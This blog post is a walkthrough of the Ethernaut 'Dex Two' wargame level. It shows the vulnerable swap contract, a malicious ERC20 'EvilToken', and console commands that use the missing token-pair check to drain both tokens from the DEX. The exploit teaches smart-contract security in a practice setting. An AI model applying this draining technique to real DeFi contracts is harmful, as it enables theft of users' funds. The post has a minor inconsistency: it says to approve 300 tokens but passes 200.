DEV Community

Cover image for Ethernaut Hacks Level 23: Dex Two
Naveen ⚡
Naveen ⚡

Posted on

Ethernaut Hacks Level 23: Dex Two

This is the level 23 of OpenZeppelin Ethernaut web3/solidity based game.

Pre-requisites

Hack

Given contract:

contract DexTwo  {
  using SafeMath for uint;
  address public token1;
  address public token2;
  constructor(address _token1, address _token2) public {
    token1 = _token1;
    token2 = _token2;
  }

  function swap(address from, address to, uint amount) public {
    require(IERC20(from).balanceOf(msg.sender) >= amount, "Not enough to swap");
    uint swap_amount = get_swap_amount(from, to, amount);
    IERC20(from).transferFrom(msg.sender, address(this), amount);
    IERC20(to).approve(address(this), swap_amount);
    IERC20(to).transferFrom(address(this), msg.sender, swap_amount);
  }

  function add_liquidity(address token_address, uint amount) public{
    IERC20(token_address).transferFrom(msg.sender, address(this), amount);
  }

  function get_swap_amount(address from, address to, uint amount) public view returns(uint){
    return((amount * IERC20(to).balanceOf(address(this)))/IERC20(from).balanceOf(address(this)));
  }

  function approve(address spender, uint amount) public {
    SwappableTokenTwo(token1).approve(spender, amount);
    SwappableTokenTwo(token2).approve(spender, amount);
  }

  function balanceOf(address token, address account) public view returns (uint){
    return IERC20(token).balanceOf(account);
  }
}

contract SwappableTokenTwo is ERC20 {
  constructor(string memory name, string memory symbol, uint initialSupply) public ERC20(name, symbol) {
        _mint(msg.sender, initialSupply);
  }
}
Enter fullscreen mode Exit fullscreen mode

player has to drain all of token1 and token2.

The vulnerability here arises from swap method which does not check that the swap is necessarily between token1 and token2. We'll exploit this.

Let's deploy a token - EvilToken in Remix, with initial supply of 400, all given to msg.sender which would be the player:

// SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;

import "@openzeppelin/contracts/token/ERC20/ERC20.sol";

contract EvilToken is ERC20 {
    constructor(uint256 initialSupply) ERC20("EvilToken", "EVL") {
        _mint(msg.sender, initialSupply);
    }
}
Enter fullscreen mode Exit fullscreen mode

We're going to exchange EVL token for token1 and token2 in such a way to drain both from DexTwo. Initially both token1 and token2 is 100. Let's send 100 of EVL to DexTwo using EvilToken's transfer. So, that price ratio in DexTwo between EVL and token1 is 1:1. Same ratio goes for token2.

Also, allow DexTwo to transact 300 (100 for token1 and 200 for token2 exchange) of our EVL tokens so that it can swap EVL tokens. This can be done by approve method of EvilToken, passing contract.address and 200 as params.

Alright at this point DexTwo has 100 of each - token1, token2 and EVL. And player has 300 of EVL.

      DEX             |      player  
token1 - token2 - EVL | token1 - token2 - EVL
---------------------------------------------
  100     100     100 |   10      10      300
Enter fullscreen mode Exit fullscreen mode

Get token addresses:

evlToken = '<EVL-token-address>'
t1 = await contract.token1()
t2 = await contract.token2()
Enter fullscreen mode Exit fullscreen mode

Swap 100 of player's EVL with token1:

await contract.swap(evlToken, t1, 100)
Enter fullscreen mode Exit fullscreen mode

This would drain all of token1 from DexTwo. Verify by:

await contract.balanceOf(t1, instance).then(v => v.toString())

// Output: '0'
Enter fullscreen mode Exit fullscreen mode

Updated balances:

      DEX             |      player  
token1 - token2 - EVL | token1 - token2 - EVL
---------------------------------------------
  100     100     100 |   10      10      300
  0       100     200 |   110     10      200
Enter fullscreen mode Exit fullscreen mode

Now, according to get_swap_amount method, to get all 100 of token2 in exchange we need 200 of EVL. Swap accordingly:

await contract.swap(evlToken, t2, 200)
Enter fullscreen mode Exit fullscreen mode

And token2 is drained too! Verify by:

await contract.balanceOf(t2, instance).then(v => v.toString())

// Output: '0'
Enter fullscreen mode Exit fullscreen mode

Finally:

      DEX             |      player  
token1 - token2 - EVL | token1 - token2 - EVL
---------------------------------------------
  100     100     100 |   10      10      300
  0       100     200 |   110     10      200
  0       0       400 |   110     110     0
Enter fullscreen mode Exit fullscreen mode

Level passed!

Learned something awesome? Consider starring the github repo 😄

and following me on twitter here 🙏

Top comments (0)